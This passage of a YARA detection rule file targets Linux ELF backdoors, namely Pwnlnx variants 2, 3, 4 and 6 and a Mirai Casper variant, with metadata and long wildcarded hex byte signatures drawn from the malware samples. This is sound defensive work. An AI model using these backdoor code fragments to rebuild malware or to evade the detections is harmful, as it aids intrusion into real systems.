		$bp = { 7F??4C4602??01??000000000000000002??3E????0000????1A????0000000040000000000000??????0000000000000000000040??????????????1D????????0000????????????000000000000??????4000000000??????4000000000????01??00000000????01??00000000????000000000000????0000??????0000????000000000000????4000000000000002????000000001C??0000000000001C??00000000000001??00000000000001??000005????????0000000000000000??????0000000000004000000000????76??00000000????76??000000000000????00000000????0000????0000000080????00000000????????????0000????????????000038??00000000000080??????00000000000020??0000000002??0000060000????80????0000000028??????????000028??????????0000A0????????0000????????????0000????000000000000??????000004??00001C??0000000000001C??4000000000??????4000000000????000000000000????000000000000??????00000000000050E5??6404??00009C6D0000000000009C6D4000000000??????????????0000DC??000000000000DC??00000000000004??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000????6C69????????????2D????????78??78??362D????????6F2E32??04??000010??000001??0000474E5500000000????0000????0000????000000000000????0000??????000001??000006000000000000????000020??0000??????00007D??5A580000000000000000000000000000000000000000000000000000000015????????00000000000000000000??????00000000000082????????00000000000000000000????????????0000????????????00000000000000000000????????????0000??????000012??0000000000000000000062??0000000000006A??000012??000000000000000000001B??0000000000007E??000012??000000000000000000008B??0000000000004902??????00000000000000000000????????????0000????????????00000000000000000000????????00000000??????000012??000000000000000000008E??000000000000F401??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????000000000000000000000000000000000000????0000????000000000000000000000000000000000000??????000012??0000000000000000000025????????0000????????????00000000000000000000????000000000000????0000????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????0000????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????01??????00000000000000000000??????0000000000006602??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????000000000000????????????00000000000000000000????000000000000????01??????00000000000000000000????000000000000????0000????00000000000000000000????01??00000000????????????00000000000000000000????????????0000????????????00000000000000000000??????000000000000EC01??????00000000000000000000??????0000000000004B01??????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????01??????00000000000000000000????????????0000??????000012??0000000000000000000008??0000000000004302??????00000000000000000000????????????0000??????????????000000000000000000000A??0000000000003F01??????00000000000000000000????????????0000??????000012??00000000000000000000F0????00000000????01??????00000000000000000000??????????????00002F02??????00000000000000000000????01??00000000????????????00000000000000000000????000000000000??????????????0000000000000000000080????00000000????02??????00000000000000000000????000000000000??????000012??0000000000000000000074??000000000000BF????????00000000000000000000????????????0000????02??????00000000000000000000??????000000000000FA0000????00000000000000000000????????????0000??????000012??0000000000000000000011??000000000000A8??000012??0000000000000000000044000000000000??????000012??000000000000000000005A000000000000??????000012??0000000000000000000029??000000000000C6????????00000000000000000000????000000000000????????????00000000000000000000????000000000000????0000????00000000000000000000????????00000000????????????00000000000000000000??????000000000000BC????????00000000000000000000????02??00000000????01??????00000000000000000000??????00000000000034??000012??00000000000000000000A1????????0000????????????00000000000000000000????????????0000??????????????000000000000000000004B000000000000????0000????00000000000000000000????000000000000??????000012??0000000000000000000005????????0000??????000012??0000000000000000000031??00000000000074??000012??00000000000000000000FF??0000000000005E02??????00000000000000000000????000000000000????????????00000000000000000000????????????0000??????000012??0000000000000000000025????????0000????02??????00000000000000000000??????000000000000DE??000012??000000000000000000007B??00000000000030??000012??0000000000000000000075??000000000000D9??000012??000000000000000000000E000000000000????????????00000000000000000000????000000000000????02??????00000000000000000000????????????0000????????????00000000000000000000????????????0000????????????00000000000000000000????000000000000????02??????00000000000000000000????000000000000????01??????00000000000000000000????????????0000????????????00000000000000000000????000000000000????????????00000000000000000000??????0000000000005201??????0000????174000000000????00000000000000005F5F676D6F6E5F73??6172??5F5F??????76??52656769????????????6173??6573??6C69????????????61642E????2E30??72??63????72??6D??????68????????5F63????6174????????6E6474????????75??65??????69??????????????6E6F5F6C6F63????69????????????6B????74??72??6164??73??676D6173????????6E6E6563??????74??72??6164??73??6C66??????63????74??70??68????????5F6465????63????6663????6C????????63??73??2E????????63????74??73??72??70????????69????????????????????616E64??????6574??6174??6E??????74??77??69??????????????6469????????????5F6E74??61??????74??72??69??????????????70??????????6D6F6E????????74??6E??????6C6563??????6B????????72??616C6C6F63??676574??69??????????????73??72??6F6B????63????77????????70??6173??72??3634??73??67656D70??79??6574??6D656D73??74??72??6469??????????????????6565??????68????????6173??74??6D65??????74??6F63????70????????616E74??74??6475??32??73??67616464????74??69????????????6472??6663??????65??????74??6F63????70????????6C6C6F63??73??72??6174??72??616C70??74????????6D6F76????????656E6469????????????6C??????74??6F73??62????616D65??????6563??????????72??74????????656164??????6C6F63????74??6C6F63????74??6D65??????616E6469????????????616464??????????????6565????73??74??69????????????????????6D6D6F76????????70??6E3634??5F5F6C69????????????72??5F6D6169????????????73??73??70??69????????????65????????78??74??74??34??474C4942435F32??32??35????????42435F32??33??000002??02??02??03??02??02??02??03??03??02??02??02??0000000002??02??02??02??02??03??02??02??02??02??02??02??02??02??03??02??02??02??04??02??02??03??02??03??02??02??02??03??02??02??02??02??02??03??02??02??02??02??02??02??03??02??02??03??02??02??02??03??02??03??02??03??02??02??02??02??02??02??03??03??03??02??02??02??02??02??000001??01??24??000010??000020??000075??69??????????9602??00000000????????????????????000000000000????69????????????A2????????0000??????69??????????9602??00000000????81????????????060000????????????000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000????81????????????070000????00000000000000000000000082??????0000????0000??????0000000000000000000008??????????0000070000????????????000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000????82??????0000????0000????00000000000000000000??????6000000000????0000??????000000000000000000004882??????0000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000????00000000000000000000??????6000000000????0000?????? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 100KB and all of them
}

rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_2 : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the backdoor pwnlnx variant 2"
		author = "Marc Rivero | McAfee ATR Team"
		id = "c4ee686b-49d9-5566-b749-1144a19c1fee"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L35-L65"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "08cc67002782cbafd97a4bff549d25dd72d6976d2fdf79339aaf5a3ff7c3107e"
		logic_hash = "08ea40ba72677263a41f62097fc38040361ba595d67cb04979b66548c7f4d271"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????00000000000088????????????00000000??????38??05????????????????0000????????????0000000000000000??????0000000000004000000000??????0D??????????????0D????????0000????00000000????0000????0000????????????0000????????????0000????????????0000????12??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????????00000000????????00000000??????000000000000070000??????000080??????0000000080??????0000000080??????0000000028??00000000000070??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000????0000????0000??????000014??000003??0000474E55????????????CC78??78??83????????????CB371F0000000080??????0000000025????????0000????7E??00000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000????????????0000??????4200000000????????????0000????????????0000??????4200000000????????????0000????????????0000????????????0000????76??00000000????????????0000????8B????00000000C8??????0000000025????????0000??????4200000000????76??00000000????????????0000????444200000000????76??00000000????????????0000??????4900000000????76??00000000????????????0000??????4600000000????76??00000000????????????0000????424200000000??????EC08??33??0000E8????????E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090554889??534883????80????????????75??BB????????488B??????????4881??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??B8????????4885??74??BF????????E8????????C6????????????4883????5BC9C30F1F????????????55B8????????4885??4889??74??BE????????BF????????E8????????4883????????????74??B8????????4885??74??BF????????C9FF??0F1F??????????C9C39090554889??534881??????????89??????????48C7????????????8B????3D????????0F87????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????BA????????488D??????????4889??4889??E8????????4889????4883??????0F84????????488D??????????488D??????????4889??4889??E8????????85??0F85????????488B??????????4889????C7????????????488B????89????488B????48C1????89????488B????4889????488B????4889??????488B????4889??????E8????????89????BE????????488D????E8????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????488D????8B??????????BA????????4889??89??E8????????85??0F84????????BE????????488D????E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??0F85????????8B????89??4889??48C1????8B????89??488D????4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7E??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??74??8B????48984801????488B????483B????7C??EB??90EB??90EB??90EB??90EB??90EB??90488B????4889??E8????????EB??90EB??90EB??90B8????????4881??????????5BC9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????0F84????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????488B????4889????488B????4889??????488B????4889??????E8????????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??0F84????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??0F84????????488D????8B????BA????????4889??89??E8????????85??74??488D????BE????????4889??E8????????8B????488B????4889????488B????4889??????488B????4889??????E8????????39??75??8B????83????75??8B????488B????4889????488B????4889??????488B????4889??????89??E8????????EB??90EB??90EB??90EB??90EB??908B????89??E8????????B8????????4881??????????5BC9C390554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????89??C1????F7????89??48980FB6??????????89??31??488B????88??83??????4883??????8B????3B????7C??488B????C9C3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????C9C39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??0F84????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????BA????????488D??????????488D??????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????0F84????????488D??????????488B????4889??4889??E8????????488D??????????488D????B9????????BA????????4889??4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????488D??????????4989??BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????488B??????????8B??????????4189??4181??????????8B??????????89??81??????????488B????8B????4863??48C1????4801??488B??488D????BA????????488D??????????4889??????4889??????488B????4889??????488B????4889????4589??4189??4889??BE????????4889?? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 1000KB and all of them
}

rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_3 : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the backdoor pwnlnx variant"
		author = "Marc Rivero | McAfee ATR Team"
		id = "02ea1eb2-7235-5ed5-86ba-19d52e8fb428"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L67-L97"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "08f29e234f0ce3bded1771d702f8b5963b144141727e48b8a0594f58317aac75"
		logic_hash = "8a1405f430ce57810577f65ef43a1425601bf49b5adb4f6f935505427ad9dc94"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$bp = { 7F??4C4602??01??000000000000000002??3E????0000000004??00000000??????000000000000B0??3A??000000000000000040??????????????????????01??000005????????0000000000000000??????0000000000004000000000????????????0000????????????00000000????00000000????0000????0000????A40C??00000000C0??????????????C0??????????????5013??00000000????????????00000000????00000000??????000004??00005801??00000000??????4000000000??????4000000000????000000000000????000000000000??????000000000000070000??????0000C0??????????????C0??????????????C0??????????????28??00000000000078??00000000000008??00000000000051E5??64??000000000000000000000000000000000000000000000000000000000000000000000000000000000000????000000000000??????000010??000001??0000474E5500000000????0000??????000000000000C0????????????????????????0000????84????00000000C8??????0000000025????????0000????374200000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000??????4200000000????A56C00000000????????????0000????24??00000000????A56C00000000????????????0000????????????0000????A56C00000000????????????0000????83??????0000????A56C00000000????????????0000????5E42000000000000A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????914200000000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000????????????0000????A66C00000000????????????0000??????4200000000????A66C00000000????????????0000??????4200000000??????EC08??4301??????62??0000E8????????4883????C3FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????FF??????????68????????E9????????00000000000000000000000000000000000000000000000031??4989??5E4889??4883????505449C7??????????48C7??????????48C7??????????E8????????F490904883????488B??????????4885??74??FF??4883????C390909090909090909090909090B8????????55482D????????4883????4889??76??B8????????4885??74??5DBF????????FF??660F1F????????????5DC366666666????????????????????BE????????554881??????????48C1????4889??4889??48C1????4801??48D1??74??B8????????4885??74??5DBF????????FF??0F1F??5DC3660F1F??????80????????????75??554889??53BB????????4881??????????4883????488B??????????48C1????4883????4839??73??660F1F??????4883????4889??????????FF????????????488B??????????4839??72??E8????????B8????????4885??74??BF????????E8????????C6????????????4883????5B5DF3??669055B8????????4885??4889??74??BE????????BF????????E8????????BF????????4883????75??5DE9????????6690B8????????4885??74??FF??EB??9090554889??534881??????????89??????????48C7????????????8B????3D????????76??E9????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????BE????????4889??E8????????4889????4883??????75??E9????????488D??????????488D??????????4889??4889??E8????????85??74??E9????????488B??????????4889????C7????????????488B????89????488B????48C1????89????4883????FF????FF????FF????E8????????4883????89????BE????????488D????E8????????8B??????????BA????????488D????89??E8????????85??75??E9????????8B??????????BA????????488D????89??E8????????85??75??E9????????BE????????488D????E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??E9????????8B????89??48C1????4889??8B????89??4801??4889????488B????488B????BA????????4889??4889??E8????????488B????4889????EB??488B????488D??????????4889??BA????????BE????????4889??E8????????89????83??????7F??EB??8B????488D??????????89??4889??E8????????8B????4863??488D??????????8B??????????4889??89??E8????????85??75??EB??8B????48984801????488B????483B????7C??488B????4889??E8????????B8????????488B????C9C3554889??534881??????????4889??????????E8????????4889??E8????????C7????????????488B??????????8B????89????488B??????????8B??89????488B??????????8B????89????8B????8B????BA????????89??89??E8????????89????83??????75??E9????????488D????BA????????BE????????4889??E8????????C7????????????C7????????????8B????89????4883????FF????FF????FF????E8????????4883????89????488D????BE????????4889??E8????????488D????8B????BA????????4889??89??E8????????85??75??E9????????488D??????????4889??E8????????488D??????????BE????????4889??E8????????488D??????????8B????BA????????4889??89??E8????????85??75??EB??488D????8B????BA????????4889??89??E8????????85??75??EB??488D????BE????????4889??E8????????8B????4883????FF????FF????FF????E8????????4883????39??74??EB??8B????83????74??EB??8B????4883????FF????FF????FF????89??E8????????4883????908B????89??E8????????B8????????488B????C9C3554889??4889????89????C7????????????488B????4889????C7????????????EB??488B????0FB6??8B????99F7????89??48980FB6??????????31??89??488B????88??83??????4883??????8B????3B????7C??488B????5DC3554889??4889????89????488B????4889????C7????????????EB??488B????0FB6??0FB6??????????31??488B????88??83??????4883??????8B????3B????7C??488B????5DC39090554889??534881??????????89??????????48C7????????????48C7????????????48C7????????????8B????89??488D??????????8B??????????4889??89??E8????????85??75??E9????????8B????89??488D??????????89??4889??E8????????488D??????????488D??????????4889??4889??E8????????488D??????????488D??????????4889??BA????????BE????????4889??B8????????E8????????488D??????????4889??E8????????4883????4889??E8????????4889????4883??????75??E9????????488D??????????488B????4889??4889??E8????????488D????488D??????????B9????????BA????????4889??E8????????89????83??????0F8E????????C7????????????E9????????488B????8B????4863??48C1????4801??488B??488D????488D??????????488D??????????4989??4889??BA????????BE????????4889??B8????????E8????????488D??????????488D??????????4889??4889??E8????????85??0F85????????48C7????????????48C7????????????488D??????????4883????4889??E8????????4889??E8????????4989??488B??????????8B??????????25????????89??8B??????????25????????89??488B????8B????4863??48C1????4801??488B??488D????488D??????????415052FF????FF????4189??4189??BA????????BE????????4889??B8????????E8????????4883????488B????4889??E8????????4889??488D?????????? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 4000KB and all of them
}

rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_4 : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the backdoor pwnlnx variant 4"
		author = "Marc Rivero | McAfee ATR Team"
		id = "199bb534-f0f6-5b67-aedd-3eada5e45cc6"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L99-L129"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "2590ab56d46ff344f2aa4998efd1db216850bdddfc146d5d37e4b7d07c7336fc"
		logic_hash = "11203beee446aaf0783d3a8d3839a88ef16c27d52be8670d650ebf6a1de2c3aa"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000????????????000000000000??????0000000040??????????????000014??000003??0000474E55????9FECFBE5??F973??EB??2A??????????71??BD????????0000000000000000554889??53E8????????FF????????????4889??4889??4881??????????FF????????????4889??5BC9C30F1F??????554889??E8????????FF????????????C9C366666666????????????????????554889??E8????????4885??74??4C8B????4D85??74??65??8B????????????8B??????????4889??????????48C7??????????89??C1????C1????01??25????????29??48984C89????????????FF??????????C9C3660F1F????????????31??C9C36666662E????????????????554889??E8????????4889??????????48C7??????????FF??????????C9C390554889??E8????????8B??????????488B??????????488D????0FB6????3C??400F94??3C??410F94??74??4084??75??B8????????C9C30F1F????????????8B??????????39????74??3B????74??4584??74??8B??????????4801??0FB7??????????66????74??66??????75??4889??41FF??B8????????C9C30F1F??4084??74??8B??????????4801??0FB7??????????66????75??EB??0F1F????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??31??E8????????483D????????77??4885??74??488B????488B????488B????488B????4889??????????31??4889??E8????????31??4883????5BC9C383????EB??662E0F1F????????????554889??415453E8????????4989??4889??31??31??E8????????483D????????77??488B????31??4889??488B????488B????488B????488B??????????4989????4889??????????E8????????31??5B415CC9C383????EB??0F1F??????554889??534883????E8????????31??4889??BE????????E8????????483D????????77??4885??74??488B????4889????31??4889??E8????????31??4883????5BC9C383????EB??660F1F??????554889??415453E8????????4989??4889??BE????????31??E8????????483D????????77??488B????31??4889??488B????4989????488B????4889????E8????????31??5B415CC9C383????EB??554889??4157415641554154534883????E8????????4889??488D????4989??4189??4889??BA????????4989??4489????4D89??E8????????488B??????????448B????4881??????????488D????75??EB??0F1F????488B????4881??????????488D????74??0FB7????4839??75??4883????31??5B415C415D415E415FC9C30F1F??????4D89??4C89??4489??4889??4C89??FF??????????4883????5B415C415D415E415FC9C30F1F????554889??4157415641554154534883????E8????????65??8B????????????4889????4889????4189??8B??????????4889??B9????????48C7??????????4889??4D89??4589??89??C1????C1????01??25????????29??F3A648984C8B????????????0F84????????B9????????48C7??????????4889??F3A60F84????????31??4585??4889??4889????4489????74??418D??????31??488D??????0FB6??4883????4889??48C1????48C1????4801??4801??4839??488D????488D????75??89????488D????4C89??E8????????4885??4889??0F84????????488B????4885??74??81????????????0F84????????488B??????????483D????????4C8D????75??EB??0F1F??????498B????483D????????4C8D????74??498B??4889??E8????????85??75??31??4883????5B415C415D415E415FC9C34589??4D89??488B????4489??4889??488B????FF??????????4883????5B415C415D415E415FC9C30F1F??????????81????????????0F85????????31??EB??488D????4C89??E8????????4885??4889??74??498B????488B??????????488B????4885??74??31??4889??4889????FF??4885??488B????0F84????????31??E9????????0F1F????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??534883????E8????????89??488B??????????4881??????????488D????74??66??????75??EB??0F1F????66??????74??488B????483D????????488D????4889??75??4883????5BC9C3E8????????4889??E8????????4883????5BC9C36666662E????????????????554889??41554154534883????E8????????4C8B??????????4989??4981??????????498D??????75??EB??0F1F????4C8B????4981??????????498D??????74??488B??4C89??E8????????85??75??4C89??E8????????488B??E8????????4889??E8????????4883????5B415C415DC9C36666662E????????????????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889??534883????E8????????488B??????????BA????????89??BF????????E8????????4885??74??66????488B??????????488D????48C7??????????E8????????4883????5BC9C30F1F????554889?? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 400KB and all of them
}

rule TRELLIX_ARC_Pwnlnx_Backdoor_Variant_6 : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the backdoor pwnlnx variant 6"
		author = "Marc Rivero | McAfee ATR Team"
		id = "56bfe9c7-4cd4-51f6-a469-da8af52d64c2"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L131-L161"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "d29254ab907c9ef54349de3ec0dd8b22b4692c58ed7a7b340afbc6e44363f96a"
		logic_hash = "29423135a46ee7b9aa1bd8f1e6f7ffad09725787ad6e75312e1d34b18e3917d4"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
		$bp = { 7F??4C4602??01??000000000000000001??3E????000000000000000000000000000000000000??????09??00000000000000004000000000??????2B??28??04??000014??000003??0000474E55????4D9585????AB6522????52AD3B??EC9B4BE8????????0000000000000000????00000000554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??????????4889??41544989??534889??488B??????????E8????????4C89??4889??48C7??????????FF??????????488B??????????89??E8????????89??5B415C5DC30F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??415541544989??534889??4883????488B??????????65??8B????????????4889????31??E8????????4889??4C89??FF??????????488B??????????4189??E8????????488B??????????483D????????488D????75??EB??0F1F??????488B????4881??????????488D????74??0FB7??488D????48C7??????????31??E8????????498B????498B??????488D????488D????????????BA????????E8????????4885??74??4981??????????????488B????65??33????????????4489??75??4883????5B415C415D5DC3E8????????0F1F??E8????????554889??41574589??415641554189??4154534889??4883????488B??????????4889????4889????4C89????483D????????4C8D????74??4C63??EB??0F1F??????498B????483D????????4C8D????74??498B??4C89??4889??E8????????85??75??4883????5B415C415D415E415F5DC30F1F??????????4589??4C8B????488B????4489??4889??488B????FF??????????4883????5B415C415D415E415F5DC3660F1F??????E8????????554889??41574589??41564D89??41554989??41544189??BA????????534889??488D????4883????4889????4889??65??8B????????????4889????31??E8????????488B??????????4881??????????488D????74??0FB7????4839??75??EB??0F1F????????????410FB7????4839??74??4C8B????4981??????????498D????75??4589??4D89??4C89??4489??4889??488B????FF??????????488B????65??33????????????75??4883????5B415C415D415E415F5DC3660F1F??????31??EB??E8????????0F1F??????662E0F1F????????????E8????????55BF????????4889??4881??????????65??8B????????????4889????31??488D??????????FF????????????B9????????4889??488D??????????F3??A5488D??????????48C7??????????BE????????B1??E8????????4885??74??48BA???????? }
	condition:
		uint16( 0 ) == 0x457f and filesize < 700KB and all of them
}

rule TRELLIX_ARC_Mirai_Casper_Variant : BACKDOOR FILE
{
	meta:
		description = "Rule to detect the Mirai Casper variant"
		author = "Marc Rivero | McAfee ATR Team"
		id = "0f3a028c-9514-51cd-ad82-415e8ac2dee7"
		date = "2020-04-17"
		modified = "2020-08-14"
		reference = "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf"
		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/APT/APT_decade_of_RATs.yar#L163-L193"
		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/1919562a59f190bda60c982424f6a24c542ee3e0/LICENSE"
		hash = "57cc422a6a90c571198a2d1c3db13c31fbdb48ba2f0f4356846d6d636d0f9300"
		logic_hash = "5449d1ef0c4977c6151fc194ad5f526b6be414c1efb7fd4bacb77d4bcd89c703"
		score = 75
		quality = 70
		tags = "BACKDOOR, FILE"
		rule_version = "v1"
		malware_type = "backdoor"
		malware_family = "Backdoor:W32/Pwnlnx"
		actor_type = "Cybercrime"
		actor_group = "Unknown"
	strings:
